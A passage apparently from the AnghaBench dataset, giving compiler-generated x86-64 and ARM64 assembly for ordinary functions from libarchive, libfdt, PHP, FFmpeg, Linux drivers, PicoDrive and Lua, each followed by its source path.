x0, x19 bl _archive_strappend_char mov x0, x19 mov w1, #96 bl _archive_strappend_char LBB0_7: mov x0, x19 mov w1, #10 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _archive_strappend_char .cfi_endproc ; -- End function .no_dead_strip _uu_encode .subsections_via_symbols
AnghaBench/freebsd/contrib/libarchive/libarchive/extr_archive_write_add_filter_uuencode.c_uu_encode.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _fdt_check_full ## -- Begin function fdt_check_full .p2align 4, 0x90 _fdt_check_full: ## @fdt_check_full .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl $0, -44(%rbp) movq _FDT_V1_SIZE@GOTPCREL(%rip), %rax cmpq %rsi, (%rax) jbe LBB0_3 LBB0_1: movq _FDT_ERR_TRUNCATED@GOTPCREL(%rip), %rcx LBB0_2: xorl %eax, %eax subl (%rcx), %eax jmp LBB0_21 LBB0_3: movq %rsi, %rbx movq %rdi, %r13 callq _fdt_check_header movl %eax, -48(%rbp) testl %eax, %eax je LBB0_4 LBB0_21: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_4: movq %r13, %rdi callq _fdt_totalsize cmpq %rbx, %rax ja LBB0_1 ## %bb.5: movq %r13, %rdi callq _fdt_num_mem_rsv testl %eax, %eax js LBB0_21 ## %bb.6: xorl %ebx, %ebx leaq -44(%rbp), %rdx movq %r13, %rdi xorl %esi, %esi callq _fdt_next_tag movl %eax, %ecx movl -44(%rbp), %eax testl %eax, %eax js LBB0_21 ## %bb.7: leaq LJTI0_0(%rip), %r14 leaq -44(%rbp), %r12 xorl %r15d, %r15d jmp LBB0_8 LBB0_12: ## in Loop: Header=BB0_8 Depth=1 incl %r15d movq _INT_MAX@GOTPCREL(%rip), %rcx cmpl (%rcx), %r15d ja LBB0_14 LBB0_20: ## in Loop: Header=BB0_8 Depth=1 movl %eax, %ebx movq %r13, %rdi movl %eax, %esi movq %r12, %rdx callq _fdt_next_tag movl %eax, %ecx movl -44(%rbp), %eax testl %eax, %eax js LBB0_21 LBB0_8: ## =>This Inner Loop Header: Depth=1 addl $-128, %ecx cmpl $4, %ecx ja LBB0_18 ## %bb.9: ## in Loop: Header=BB0_8 Depth=1 movslq (%r14,%rcx,4), %rcx addq %r14, %rcx jmpq *%rcx LBB0_15: ## in Loop: Header=BB0_8 Depth=1 movq %r13, %rdi movl %ebx, %esi leaq -56(%rbp), %rdx leaq -48(%rbp), %rcx callq _fdt_getprop_by_offset testq %rax, %rax je LBB0_17 ## %bb.16: ## in Loop: Header=BB0_8 Depth=1 movl -44(%rbp), %eax jmp LBB0_20 LBB0_13: ## in Loop: Header=BB0_8 Depth=1 testl %r15d, %r15d je LBB0_14 ## %bb.19: ## in Loop: Header=BB0_8 Depth=1 decl %r15d jmp LBB0_20 LBB0_18: movq _FDT_ERR_INTERNAL@GOTPCREL(%rip), %rcx jmp LBB0_2 LBB0_10: testl %r15d, %r15d je LBB0_11 LBB0_14: movq _FDT_ERR_BADSTRUCTURE@GOTPCREL(%rip), %rcx jmp LBB0_2 LBB0_17: movl -48(%rbp), %eax jmp LBB0_21 LBB0_11: xorl %eax, %eax jmp LBB0_21 .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_15, LBB0_15-LJTI0_0 .set L0_0_set_20, LBB0_20-LJTI0_0 .set L0_0_set_13, LBB0_13-LJTI0_0 .set L0_0_set_10, LBB0_10-LJTI0_0 .set L0_0_set_12, LBB0_12-LJTI0_0 LJTI0_0: .long L0_0_set_15 .long L0_0_set_20 .long L0_0_set_13 .long L0_0_set_10 .long L0_0_set_12 .end_data_region ## -- End function .comm _FDT_V1_SIZE,8,3 ## @FDT_V1_SIZE .comm _FDT_ERR_TRUNCATED,4,2 ## @FDT_ERR_TRUNCATED .comm _FDT_ERR_BADSTRUCTURE,4,2 ## @FDT_ERR_BADSTRUCTURE .comm _INT_MAX,4,2 ## @INT_MAX .comm _FDT_ERR_INTERNAL,4,2 ## @FDT_ERR_INTERNAL .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _fdt_check_full ; -- Begin function fdt_check_full .p2align 2 _fdt_check_full: ; @fdt_check_full .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 str wzr, [sp, #8] Lloh0: adrp x8, _FDT_V1_SIZE@GOTPAGE Lloh1: ldr x8, [x8, _FDT_V1_SIZE@GOTPAGEOFF] Lloh2: ldr x8, [x8] cmp x8, x1 b.ls LBB0_3 LBB0_1: Lloh3: adrp x8, _FDT_ERR_TRUNCATED@GOTPAGE Lloh4: ldr x8, [x8, _FDT_ERR_TRUNCATED@GOTPAGEOFF] LBB0_2: ldr w8, [x8] neg w0, w8 b LBB0_4 LBB0_3: mov x20, x1 mov x19, x0 bl _fdt_check_header str w0, [sp, #12] cbz w0, LBB0_5 LBB0_4: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret LBB0_5: mov x0, x19 bl _fdt_totalsize cmp x0, x20 b.hi LBB0_1 ; %bb.6: mov x0, x19 bl _fdt_num_mem_rsv tbnz w0, #31, LBB0_4 ; %bb.7: add x2, sp, #8 mov x0, x19 mov w1, #0 bl _fdt_next_tag mov x8, x0 ldr w0, [sp, #8] tbnz w0, #31, LBB0_4 ; %bb.8: mov w20, #0 mov w21, #0 Lloh5: adrp x22, _INT_MAX@GOTPAGE Lloh6: ldr x22, [x22, _INT_MAX@GOTPAGEOFF] Lloh7: adrp x23, lJTI0_0@PAGE Lloh8: add x23, x23, lJTI0_0@PAGEOFF b LBB0_11 LBB0_9: ; in Loop: Header=BB0_11 Depth=1 add w21, w21, #1 ldr w8, [x22] cmp w21, w8 b.hi LBB0_19 LBB0_10: ; in Loop: Header=BB0_11 Depth=1 mov x20, x0 add x2, sp, #8 mov x0, x19 mov x1, x20 bl _fdt_next_tag mov x8, x0 ldr w0, [sp, #8] tbnz w0, #31, LBB0_4 LBB0_11: ; =>This Inner Loop Header: Depth=1 sub w8, w8, #128 cmp w8, #4 b.hi LBB0_17 ; %bb.12: ; in Loop: Header=BB0_11 Depth=1 adr x9, LBB0_9 ldrb w10, [x23, x8] add x9, x9, x10, lsl #2 br x9 LBB0_13: ; in Loop: Header=BB0_11 Depth=1 mov x2, sp add x3, sp, #12 mov x0, x19 mov x1, x20 bl _fdt_getprop_by_offset cbz x0, LBB0_20 ; %bb.14: ; in Loop: Header=BB0_11 Depth=1 ldr w0, [sp, #8] b LBB0_10 LBB0_15: ; in Loop: Header=BB0_11 Depth=1 cbz w21, LBB0_19 ; %bb.16: ; in Loop: Header=BB0_11 Depth=1 sub w21, w21, #1 b LBB0_10 LBB0_17: Lloh9: adrp x8, _FDT_ERR_INTERNAL@GOTPAGE Lloh10: ldr x8, [x8, _FDT_ERR_INTERNAL@GOTPAGEOFF] b LBB0_2 LBB0_18: cbz w21, LBB0_21 LBB0_19: Lloh11: adrp x8, _FDT_ERR_BADSTRUCTURE@GOTPAGE Lloh12: ldr x8, [x8, _FDT_ERR_BADSTRUCTURE@GOTPAGEOFF] b LBB0_2 LBB0_20: ldr w0, [sp, #12] b LBB0_4 LBB0_21: mov w0, #0 b LBB0_4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpAdd Lloh7, Lloh8 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpLdrGot Lloh11, Lloh12 .cfi_endproc .section __TEXT,__const lJTI0_0: .byte (LBB0_13-LBB0_9)>>2 .byte (LBB0_10-LBB0_9)>>2 .byte (LBB0_15-LBB0_9)>>2 .byte (LBB0_18-LBB0_9)>>2 .byte (LBB0_9-LBB0_9)>>2 ; -- End function .comm _FDT_V1_SIZE,8,3 ; @FDT_V1_SIZE .comm _FDT_ERR_TRUNCATED,4,2 ; @FDT_ERR_TRUNCATED .comm _FDT_ERR_BADSTRUCTURE,4,2 ; @FDT_ERR_BADSTRUCTURE .comm _INT_MAX,4,2 ; @INT_MAX .comm _FDT_ERR_INTERNAL,4,2 ; @FDT_ERR_INTERNAL .subsections_via_symbols
AnghaBench/linux/scripts/dtc/libfdt/extr_fdt_ro.c_fdt_check_full.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function zend_emit_assign_znode _zend_emit_assign_znode: ## @zend_emit_assign_znode .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx subq $16, %rsp .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rdi, %r14 movq _ZEND_AST_ASSIGN@GOTPCREL(%rip), %rax movl (%rax), %ebx movq %rsi, %rdi callq _zend_ast_create_znode movl %ebx, %edi movq %r14, %rsi movl %eax, %edx callq _zend_ast_create leaq -20(%rbp), %rbx movq %rbx, %rdi movq %rax, %rsi callq _zend_compile_assign movq %rbx, %rdi callq _zend_do_free addq $16, %rsp popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .comm _ZEND_AST_ASSIGN,4,2 ## @ZEND_AST_ASSIGN .no_dead_strip _zend_emit_assign_znode .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function zend_emit_assign_znode _zend_emit_assign_znode: ; @zend_emit_assign_znode .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 Lloh0: adrp x8, _ZEND_AST_ASSIGN@GOTPAGE Lloh1: ldr x8, [x8, _ZEND_AST_ASSIGN@GOTPAGEOFF] Lloh2: ldr w20, [x8] mov x0, x1 bl _zend_ast_create_znode mov x2, x0 mov x0, x20 mov x1, x19 bl _zend_ast_create mov x1, x0 add x0, sp, #12 bl _zend_compile_assign add x0, sp, #12 bl _zend_do_free ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _ZEND_AST_ASSIGN,4,2 ; @ZEND_AST_ASSIGN .no_dead_strip _zend_emit_assign_znode .subsections_via_symbols
AnghaBench/php-src/Zend/extr_zend_compile.c_zend_emit_assign_znode.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function libcodec2_encode _libcodec2_encode: ## @libcodec2_encode .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, %r14 movq %rsi, %rbx movq 8(%rdi), %r13 movq (%rdx), %rax movq (%rax), %r15 movl (%rdi), %edx xorl %r12d, %r12d xorl %ecx, %ecx callq _ff_alloc_packet2 testl %eax, %eax js LBB0_1 ## %bb.2: movl (%r13), %edi movl (%rbx), %esi movq %r15, %rdx callq _codec2_encode movl $1, (%r14) jmp LBB0_3 LBB0_1: movl %eax, %r12d LBB0_3: movl %r12d, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _libcodec2_encode .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function libcodec2_encode _libcodec2_encode: ; @libcodec2_encode .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x3 mov x20, x1 ldr x22, [x0, #8] ldr x8, [x2] ldr x21, [x8] ldr w2, [x0] mov w3, #0 bl _ff_alloc_packet2 tbnz w0, #31, LBB0_2 ; %bb.1: ldr w0, [x22] ldr w1, [x20] mov x2, x21 bl _codec2_encode mov w0, #0 mov w8, #1 str w8, [x19] LBB0_2: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _libcodec2_encode .subsections_via_symbols
AnghaBench/FFmpeg/libavcodec/extr_libcodec2.c_libcodec2_encode.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function snd_cx88_prepare _snd_cx88_prepare: ## @snd_cx88_prepare .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _snd_cx88_prepare .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function snd_cx88_prepare _snd_cx88_prepare: ; @snd_cx88_prepare .cfi_startproc ; %bb.0: mov w0, #0 ret .cfi_endproc ; -- End function .no_dead_strip _snd_cx88_prepare .subsections_via_symbols
AnghaBench/linux/drivers/media/pci/cx88/extr_cx88-alsa.c_snd_cx88_prepare.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _YM2612Write_940 ## -- Begin function YM2612Write_940 .p2align 4, 0x90 _YM2612Write_940: ## @YM2612Write_940 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %esi, %eax movl %edi, %esi andl $3, %esi cmpl $2, %esi je LBB0_7 ## %bb.1: testl %esi, %esi jne LBB0_2 ## %bb.3: movq _addr_A1@GOTPCREL(%rip), %rcx cmpl $0, (%rcx) movq _ST_address@GOTPCREL(%rip), %rdi jne LBB0_5 ## %bb.4: cmpl %eax, (%rdi) je LBB0_19 LBB0_5: movl %eax, (%rdi) movl $0, (%rcx) movb $1, %r10b cmpl $42, %eax ja LBB0_10 ## %bb.6: movl %eax, %r8d movabsq $4879082848256, %rdi ## imm = 0x47000000000 btq %r8, %rdi jb LBB0_19 jmp LBB0_10 LBB0_7: movq _addr_A1@GOTPCREL(%rip), %rcx cmpl $1, (%rcx) movq _ST_address@GOTPCREL(%rip), %rdi jne LBB0_9 ## %bb.8: cmpl %eax, (%rdi) je LBB0_19 LBB0_9: movl %eax, (%rdi) movl $1, (%rcx) movb $1, %r10b jmp LBB0_10 LBB0_2: xorl %r10d, %r10d LBB0_10: movq _currentConfig@GOTPCREL(%rip), %rdi testb $4, (%rdi) je LBB0_19 ## %bb.11: movq _shared_ctl@GOTPCREL(%rip), %rdi movq (%rdi), %rdi xorl %ecx, %ecx cmpq $0, 16(%rdi) sete %cl movq (%rdi,%rcx,8), %r9 movq _writebuff_ptr@GOTPCREL(%rip), %r8 movl (%r8), %edi testb %r10b, %r10b jne LBB0_16 ## %bb.12: cmpl $223, %edx jg LBB0_16 ## %bb.13: testl %edi, %edi js LBB0_16 ## %bb.14: movq _Pico@GOTPCREL(%rip), %rcx cmpq $0, (%rcx) movl $93, %r10d movl $68, %ecx cmovel %r10d, %ecx cmpl %edx, %ecx jge LBB0_16 ## %bb.15: movzwl %di, %ecx movl %edi, %edx incl %edx movl %edx, (%r8) movl $65534, (%r9,%rcx,4) ## imm = 0xFFFE movl $-2147483648, %edi ## imm = 0x80000000 orl (%r8), %edi movl %edi, (%r8) LBB0_16: movzwl %di, %ecx cmpl $2046, %ecx ## imm = 0x7FE ja LBB0_18 ## %bb.17: shll $8, %esi orl %eax, %esi incl %edi movl %edi, (%r8) movl %ecx, %eax movl %esi, (%r9,%rax,4) jmp LBB0_19 LBB0_18: leaq L_.str(%rip), %rdi movl %eax, %edx callq _printf LBB0_19: xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .comm _addr_A1,4,2 ## @addr_A1 .comm _ST_address,4,2 ## @ST_address .comm _currentConfig,4,2 ## @currentConfig .comm _shared_ctl,8,3 ## @shared_ctl .comm _writebuff_ptr,4,2 ## @writebuff_ptr .comm _Pico,8,3 ## @Pico .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "warning: writebuff_ptr > 2047 ([%i] %02x)\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _YM2612Write_940 ; -- Begin function YM2612Write_940 .p2align 2 _YM2612Write_940: ; @YM2612Write_940 .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov x8, x1 and w1, w0, #0x3 cmp w1, #2 b.eq LBB0_5 ; %bb.1: cbnz w1, LBB0_7 ; %bb.2: Lloh0: adrp x9, _addr_A1@GOTPAGE Lloh1: ldr x9, [x9, _addr_A1@GOTPAGEOFF] ldr w11, [x9] Lloh2: adrp x10, _ST_address@GOTPAGE Lloh3: ldr x10, [x10, _ST_address@GOTPAGEOFF] ldr w12, [x10] cmp w11, #0 ccmp w12, w8, #0, eq b.eq LBB0_17 ; %bb.3: str w8, [x10] str wzr, [x9] mov w12, #1 cmp w8, #42 b.hi LBB0_8 ; %bb.4: mov w9, w8 mov w10, #1 lsl x9, x10, x9 mov x10, #4879082848256 tst x9, x10 b.ne LBB0_17 b LBB0_8 LBB0_5: Lloh4: adrp x9, _addr_A1@GOTPAGE Lloh5: ldr x9, [x9, _addr_A1@GOTPAGEOFF] ldr w11, [x9] Lloh6: adrp x10, _ST_address@GOTPAGE Lloh7: ldr x10, [x10, _ST_address@GOTPAGEOFF] ldr w12, [x10] cmp w11, #1 ccmp w12, w8, #0, eq b.eq LBB0_17 ; %bb.6: str w8, [x10] mov w12, #1 str w12, [x9] b LBB0_8 LBB0_7: mov w12, #0 LBB0_8: Lloh8: adrp x9, _currentConfig@GOTPAGE Lloh9: ldr x9, [x9, _currentConfig@GOTPAGEOFF] ldrb w9, [x9] tbz w9, #2, LBB0_17 ; %bb.9: Lloh10: adrp x9, _shared_ctl@GOTPAGE Lloh11: ldr x9, [x9, _shared_ctl@GOTPAGEOFF] Lloh12: ldr x9, [x9] ldr x10, [x9, #16] cmp x10, #0 cset w10, eq ldr x9, [x9, w10, uxtw #3] Lloh13: adrp x10, _writebuff_ptr@GOTPAGE Lloh14: ldr x10, [x10, _writebuff_ptr@GOTPAGEOFF] ldr w11, [x10] tbnz w12, #0, LBB0_14 ; %bb.10: cmp w2, #223 b.gt LBB0_14 ; %bb.11: tbnz w11, #31, LBB0_14 ; %bb.12: Lloh15: adrp x12, _Pico@GOTPAGE Lloh16: ldr x12, [x12, _Pico@GOTPAGEOFF] Lloh17: ldr x12, [x12] cmp x12, #0 mov w12, #68 mov w13, #93 csel w12, w13, w12, eq cmp w12, w2 b.ge LBB0_14 ; %bb.13: add w12, w11, #1 str w12, [x10] and x11, x11, #0xffff mov w12, #65534 str w12, [x9, x11, lsl #2] ldr w11, [x10] orr w11, w11, #0x80000000 str w11, [x10] LBB0_14: and w12, w11, #0xffff cmp w12, #2046 b.hi LBB0_16 ; %bb.15: orr w8, w8, w1, lsl #8 add w11, w11, #1 str w11, [x10] str w8, [x9, w12, uxtw #2] b LBB0_17 LBB0_16: Lloh18: adrp x0, l_.str@PAGE Lloh19: add x0, x0, l_.str@PAGEOFF mov x2, x8 bl _printf LBB0_17: mov w0, #0 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGot Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12 .loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17 .loh AdrpAdd Lloh18, Lloh19 .cfi_endproc ; -- End function .comm _addr_A1,4,2 ; @addr_A1 .comm _ST_address,4,2 ; @ST_address .comm _currentConfig,4,2 ; @currentConfig .comm _shared_ctl,8,3 ; @shared_ctl .comm _writebuff_ptr,4,2 ; @writebuff_ptr .comm _Pico,8,3 ; @Pico .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "warning: writebuff_ptr > 2047 ([%i] %02x)\n" .subsections_via_symbols
AnghaBench/Provenance/Cores/PicoDrive/platform/gp2x/extr_940ctl.c_YM2612Write_940.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function quad8_count_preset_write _quad8_count_preset_write: ## @quad8_count_preset_write .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx subq $16, %rsp .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %r8, %r14 movq %rsi, %r15 movq (%rdi), %r12 movl (%rsi), %ebx addl %ebx, %ebx addl (%r12), %ebx leaq -36(%rbp), %rdx movq %rcx, %rdi xorl %esi, %esi callq _kstrtouint testl %eax, %eax jne LBB0_4 ## %bb.1: movl -36(%rbp), %eax cmpl $16777216, %eax ## imm = 0x1000000 jb LBB0_3 ## %bb.2: movq _EINVAL@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax jmp LBB0_4 LBB0_3: movq 8(%r12), %rcx movslq (%r15), %rdx movl %eax, (%rcx,%rdx,4) movq _QUAD8_CTR_RLD@GOTPCREL(%rip), %rax movq _QUAD8_RLD_RESET_BP@GOTPCREL(%rip), %rcx movl (%rcx), %edi orl (%rax), %edi leal 1(%rbx), %esi callq _outb movl -36(%rbp), %edi movl %ebx, %esi callq _outb movl -36(%rbp), %edi shrl $8, %edi movl %ebx, %esi callq _outb movzwl -34(%rbp), %edi movl %ebx, %esi callq _outb movl %r14d, %eax LBB0_4: addq $16, %rsp popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _EINVAL,4,2 ## @EINVAL .comm _QUAD8_CTR_RLD,4,2 ## @QUAD8_CTR_RLD .comm _QUAD8_RLD_RESET_BP,4,2 ## @QUAD8_RLD_RESET_BP .no_dead_strip _quad8_count_preset_write .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function quad8_count_preset_write _quad8_count_preset_write: ; @quad8_count_preset_write .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x4 mov x20, x1 ldr x22, [x0] ldr w21, [x22] ldr w23, [x1] add x2, sp, #12 mov x0, x3 mov w1, #0 bl _kstrtouint cbnz w0, LBB0_4 ; %bb.1: ldr w8, [sp, #12] lsr w9, w8, #24 cbz w9, LBB0_3 ; %bb.2: Lloh0: adrp x8, _EINVAL@GOTPAGE Lloh1: ldr x8, [x8, _EINVAL@GOTPAGEOFF] Lloh2: ldr w8, [x8] neg w0, w8 b LBB0_4 LBB0_3: add w21, w21, w23, lsl #1 ldr x9, [x22, #8] ldrsw x10, [x20] str w8, [x9, x10, lsl #2] Lloh3: adrp x8, _QUAD8_CTR_RLD@GOTPAGE Lloh4: ldr x8, [x8, _QUAD8_CTR_RLD@GOTPAGEOFF] Lloh5: ldr w8, [x8] Lloh6: adrp x9, _QUAD8_RLD_RESET_BP@GOTPAGE Lloh7: ldr x9, [x9, _QUAD8_RLD_RESET_BP@GOTPAGEOFF] Lloh8: ldr w9, [x9] orr w0, w9, w8 add w1, w21, #1 bl _outb ldr w0, [sp, #12] mov x1, x21 bl _outb ldr w8, [sp, #12] lsr w0, w8, #8 mov x1, x21 bl _outb ldrh w0, [sp, #14] mov x1, x21 bl _outb mov x0, x19 LBB0_4: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .comm _EINVAL,4,2 ; @EINVAL .comm _QUAD8_CTR_RLD,4,2 ; @QUAD8_CTR_RLD .comm _QUAD8_RLD_RESET_BP,4,2 ; @QUAD8_RLD_RESET_BP .no_dead_strip _quad8_count_preset_write .subsections_via_symbols
AnghaBench/linux/drivers/counter/extr_104-quad-8.c_quad8_count_preset_write.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function errfile _errfile: ## @errfile .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %edx, %r15d movq %rsi, %r14 movq %rdi, %rbx movq _errno@GOTPCREL(%rip), %rax movl (%rax), %edi callq _strerror movq %rax, %r12 movq %rbx, %rdi movl %r15d, %esi callq _lua_tostring leaq 1(%rax), %rcx leaq L_.str(%rip), %rsi movq %rbx, %rdi movq %r14, %rdx movq %r12, %r8 callq _lua_pushfstring movq %rbx, %rdi movl %r15d, %esi callq _lua_remove movq _LUA_ERRFILE@GOTPCREL(%rip), %rax movl (%rax), %eax popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _errno,4,2 ## @errno .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "cannot %s %s: %s" .comm _LUA_ERRFILE,4,2 ## @LUA_ERRFILE .no_dead_strip _errfile .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function errfile _errfile: ; @errfile .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x2 mov x20, x1 mov x21, x0 Lloh0: adrp x8, _errno@GOTPAGE Lloh1: ldr x8, [x8, _errno@GOTPAGEOFF] Lloh2: ldr w0, [x8] bl _strerror mov x22, x0 mov x0, x21 mov x1, x19 bl _lua_tostring add x3, x0, #1 Lloh3: 